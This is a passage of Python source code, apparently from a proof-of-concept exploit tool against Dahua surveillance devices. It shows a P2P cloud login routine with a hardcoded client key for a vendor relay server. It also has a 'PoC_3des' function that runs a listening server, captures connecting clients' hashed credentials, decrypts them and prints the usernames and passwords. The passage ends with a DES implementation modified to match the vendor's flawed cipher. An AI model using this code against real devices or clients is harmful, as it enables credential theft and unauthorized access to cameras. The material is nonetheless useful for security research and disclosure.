return False
else:
#
# Return DVRIP packet
#
if len(response) > 68: # PTCP + DVRIP
return response[36:].decode('latin-1')
except Exception as e:
log.failure(e)
return False
#
# Not sure if this is correct, but it does the work
#
def DHP2P_PTCP_PacketID(self, length):
return p16(65535 - (length), endian='big')
def Dahua_DHP2P_Login():
USER = "P2PClient"
SERVER = "www.easy4ipcloud.com"
PORT = 8800
KEY = "YXQ3Mahe-5H-R1Z_"
DHP2P_P2P = DHP2P_P2P_Client(USER, SERVER, PORT, KEY, args.dhp2p)
if not DHP2P_P2P.DHP2P_P2P_ProbeDevice():
return False
if args.probe:
return True
if not DHP2P_P2P.DHP2P_P2P_WSSE():
return False
if not DHP2P_P2P.DHP2P_P2P_Stun():
return False
if not DHP2P_P2P.DHP2P_P2P_PTCP():
return False
return True
def PoC_3des():
try:
s = server(port=37777, bindaddr='0.0.0.0', fam='any', typ='tcp')
des = s.next_connection()
except (Exception, KeyboardInterrupt, SystemExit) as e:
print(e)
return False
data = des.recv(numb=8192,timeout=4).decode('latin-1')
DEBUG("RECV", data)
USER_NAME_HASH = data[8:16].encode('latin-1')
USER_PASS_HASH = data[16:24].encode('latin-1')
USER_NAME = Dahua_Gen0_hash(USER_NAME_HASH,DECRYPT) if unpack(USER_NAME_HASH,word_size = 64) else '[Leak fixed? Received 0x0]'
PASSWORD = Dahua_Gen0_hash(USER_PASS_HASH,DECRYPT) if unpack(USER_NAME_HASH,word_size = 64) else '[Leak fixed? Received 0x0]'
log.success("Client username: {}".format(USER_NAME))
log.success("Client password: {}".format(PASSWORD))
des.close()
return False
#
# This code is based based on
#
# """
# A pure python implementation of the DES and TRIPLE DES encryption algorithms.
# Author: Todd Whiteman
# Homepage: http://twhiteman.netfirms.com/des.html
# """
#
# [WARNING!] Do _NOT_ reuse below code for legit DES/3DES! [WARNING!]
#
# This code has been cleaned and modified so it will fit the needs to
# replicate Dahua's implemenation of DES/3DES with endianness bugs.
# (Both encrypt and decrypt will of course work)
#
# The base class shared by des and triple des.
class _baseDes(object):
def __init__(self):
self.block_size = 8
def getKey(self):
"""getKey() -> bytes"""
return self.__key
def setKey(self, key):
"""Will set the crypting key for this object."""
self.__key = key
#############################################################################
# DES #
#############################################################################
class des(_baseDes):
# Permutation and translation tables for DES
__pc1 = [
56, 48, 40, 32, 24, 16, 8,
0, 57, 49, 41, 33, 25, 17,
9, 1, 58, 50, 42, 34, 26,
18, 10, 2, 59, 51, 43, 35,
62, 54, 46, 38, 30, 22, 14,
6, 61, 53, 45, 37, 29, 21,
13, 5, 60, 52, 44, 36, 28,
20, 12, 4, 27, 19, 11, 3
]
# number left rotations of pc1
__left_rotations = [
1, 1, 2, 2, 2, 2, 2, 2, 1, 2, 2, 2, 2, 2, 2, 1
]
# permuted choice key (table 2)
__pc2 = [
13, 16, 10, 23, 0, 4,
2, 27, 14, 5, 20, 9,
22, 18, 11, 3, 25, 7,
15, 6, 26, 19, 12, 1,
40, 51, 30, 36, 46, 54,
29, 39, 50, 44, 32, 47,
43, 48, 38, 55, 33, 52,
45, 41, 49, 35, 28, 31